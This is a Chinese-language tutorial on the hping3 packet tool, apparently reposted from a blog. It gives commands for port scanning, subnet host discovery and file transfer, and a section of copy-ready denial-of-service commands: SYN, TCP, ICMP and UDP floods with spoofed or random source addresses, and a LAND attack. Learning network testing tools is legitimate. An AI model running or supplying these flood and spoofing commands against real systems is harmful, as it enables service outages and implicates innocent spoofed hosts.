hping 详解_hping3使用
簡介
hping3是一款免費的數據包生成器和分析器。可用于安全審計、防火墻規則測試、網絡測試、端口掃描、性能測試,壓力測試(DOS),幾乎可以發送任意類型的TCP/IP數據包。功能強大但是每次只能向一個IP地址發送數據包,還能夠在兩個相互包含的通道之間傳送文件。
ICMP測試
hping3 -1 192.168.100.105(類似于ping 192.168.100.105)
數據包跟蹤
端口掃描
單端口掃描
hping3 -I eth0 -p 22 -c 1 -S 192.168.100.104
hping3 -I eth0 -p 1 -c 1 -S 192.168.100.104
多端口掃描
hping3 -8 1-1024 192.168.100.102
文件傳輸
發送端:
hping3 -2 -p 1373 192.168.100.102 -d 100 -E test.txt
-2 UDP模式 -p端口
-d 數據大小 -E 文件名
接收端:
nc -lp 1373 -u -w 5 > recv.txt && cat recv.txt
-l 監聽模式 -p 端口
-w 超時時間 -u UDP模式
主機發現
雖然hping3一次只能掃描一個IP,但是我們可以結合shell腳本語言完成整個網段的掃描。下面使用for循環來實現:
for addr in $(seq 1 254);do hping3 192.168.1.$addr -c 1 –icmp & done
for addr in $(seq 1 254);do hping3 192.168.1.$addr -c 1 –icmp >> result2.txt & done
cat result2.txt | grep ^len(通過該命令實現查看存活主機功能,^len表示以len開頭的行)
DOS攻擊
Syn Flood攻擊
hping3 -c 1000 -d 120 -S -p 80 –flood –rand-source 192.168.100.1
-c 指定連接數 -p 目標端口
-d 指定數據部分的大小 -S 攻擊類型是Syn flood
–flood 以泛洪的方式攻擊 –rand-source 隨機產生偽造源地址
hping3 -S -P -U -p 80 –flood –rand-source 192.168.100.1
-P flag置為Push -U flag置為Urge緊急
加這兩參數可以提高效率
TCP Flood攻擊
使用以下命令建立全連接:
hping3 -SARUPF -p 80 –flood –rand-source 192.168.100.1
ICMP Flood攻擊
hping3 -q -n -d 200 –icmp –flood -a 11.11.11.11 192.168.100.1
-q安靜模式 -n不解析域名 -a指定偽造IP
UDP Flood 攻擊
hping3 –udp -s 6666 -p 53 -a 8.8.8.8 –flood 192.168.100.1
LAND攻擊
hping3 -n -S -p 80 -a 192.168.100.1 –flood 192.168.100.1
hping原理、安裝、使用詳解介紹
hping3命令 | hping3
總結
以上是生活随笔為你收集整理的hping 详解_hping3使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 人工智能GIS软件技术体系初探
- 下一篇: 记录-如何测试服务器是否支持ipv6